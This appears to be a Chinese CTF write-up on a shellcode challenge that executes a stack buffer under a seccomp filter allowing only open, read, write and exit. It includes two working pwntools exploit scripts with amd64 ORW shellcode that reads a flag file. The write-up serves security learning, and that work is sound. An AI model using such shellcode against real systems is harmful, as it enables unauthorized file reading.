Shellcode、ORW

依旧是大欢老师给的shellcode题目。

checksec一下,里面大概是这样的。

一些保护其实可以通过逆向后的代码看出来。不过我们依旧按照正常流程走一遍就好了,也花不了什么时间,就是大概了解一下。

直接看代码:

我们在编译main函数的时候会触发一个问题,他说这个0x40133B这一行(也就是call rdx)这里有问题。我们先看一下这几句话吧。

这边大概可以看到,在read函数之后,程序有一个jle指令(jle是jump if less or equal,小于等于时候跳转),也就是跳转。跳转到下面之后会报一个stack_chk_fail的错误,也就是什么栈检测报错。反正我们就把它当作一个栈保护就行了,也就是说我们最好不要跳转。再回到上面报错的这一行,是一个call rdx…也就是执行rdx里面的内容。

怪不得报错呢,因为这一行直接执行相当于一个call指令,但是没有call任何的函数,而是一个寄存器,所以我们没有办法把他反编译成伪C里面的“调用了什么函数”如此这般的写法。

所以我们选中这一句call rdx,右键给他暂时不反编译就好了:

然后再F5

这里的代码是这样的,有一个超级大的buf,我可以往里面塞入很多东西,然有一个大于判断。

我们刚刚在上面看到一个jle跳转就是这里,不过是小于等于就跳转到一个报stack检查错误的地方

read的返回值大于0的时候,也就是当我们往里面输入东西给予了一个read_return>0的情况的时候就可以跳转到if里面,而if里面会把我们输入的最后一个字符后面的空间改成’\0’,结束字符串。

这个JUMPOUT就是我们上面不反编译的两行,其实就是call rdx这个功能。

所以我们只需要构造一个shellcode,让他进入rdx并且进入if判定后开始运作就行了。我们再看一眼汇编,主要看call rdx前面发生了什么。

这边右键可以恢复编码。

鼠标放在rdx上显示所有和rdx有关的操作。不难发现,在判断后面错了一系列操作。

我们来看一下401328,代码在这里就可以展示他的逻辑了:首先是把rbp+buf的偏移地址放到rax中,然后rax把偏移地址的值赋值给[rbp+var_118],然后rdx被赋值为[rbp+var_118]的值,最后运行。

简单而言就是:

1
2
3
4
5
rax = &[rbp+buf]
[rbp+var_118] = rax
rdx = [rbp+var_118]
eax = 0
call rdx

再简单点就是:

1
2
rdx = &[rbp+buf]
call rdx

至于为什么源代码要写成这样,这是很程序员的问题了。没有优化是其中一点,其他还有各种各样的比如说rax、eax要当函数返回值所以约定俗成的不会乱改值,人手工传入的值也要保持干净。不多说了。

反正就是我塞入进去的值会被直接放在栈上执行,而在checksec的时候可以看到栈上是可执行的。

不过如果我们直接写一个shellcode或者shellcraft一个shellcode的话似乎都是不行的。我们看看会报什么错误:

他说了一个-31的退出报错码,-31代表的是错误的系统调用。

在我们刚刚看汇编的时候除了read函数还有一个init初始化函数,这个里面有什么?

初始化除了setvbuf用来初始化stdin和_bss内容,还有很多的seccomp函数。

这个函数大概的内容是给我们程序一定的系统调用权限的。我们可以看到他把初始化的内容给了v1,而初始化是0,其实就是代表着,他把所有的syscall权限全关掉了。然后分别add了几个权限,并且带入了v1来更新v1的值。

好了,现在我们有一个更加方便的办法来看这个应用开了那些syscall权限,要用seccomp-tools工具。语法如下:

1
seccomp-tools dump ./binary

其中有变化的是2ll 0ll 1ll 和 60ll,分别对应了syscall里面的Open、Read、Write和Exit。那么我现在只能构造一个shellcode,使用到Open Read和Write来读出flag了。流程大概如下:

所以,exp写成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process("./shellcode1_dahuan02")
bss_addr = 0x404010
shellcode = """
push 0x67616c66
mov rdi, rsp
xor edx, edx
xor esi, esi
push 2
pop rax
syscall

xor eax, eax
push 3
pop rdi
push 0x64
pop rdx
mov esi, 0x0404010
syscall

push 1
pop rdi
push 0x64
pop rdx
mov esi, 0x0404010
push 1
pop rax
syscall
"""
print(shellcode)
payload = asm(shellcode)
p.send(payload)
p.interactive()

有个小问题,bss_addr在哪里找的:

ida找一下bss段在哪里就行。为什么用是因为他初始化过了,而且.bss存放什么静态变量之类的东西,确实打开文件读取值就是他的活。

然后这个代码可以写成使用shellcraft的方式,如下:

1
2
3
4
5
6
7
8
9
10
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process("./shellcode1_dahuan02")
bss_addr = 0x404010
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read(3,bss_addr,100)
shellcode += shellcraft.write(1,bss_addr,100)
payload = asm(shellcode)
p.send(payload)
p.interactive()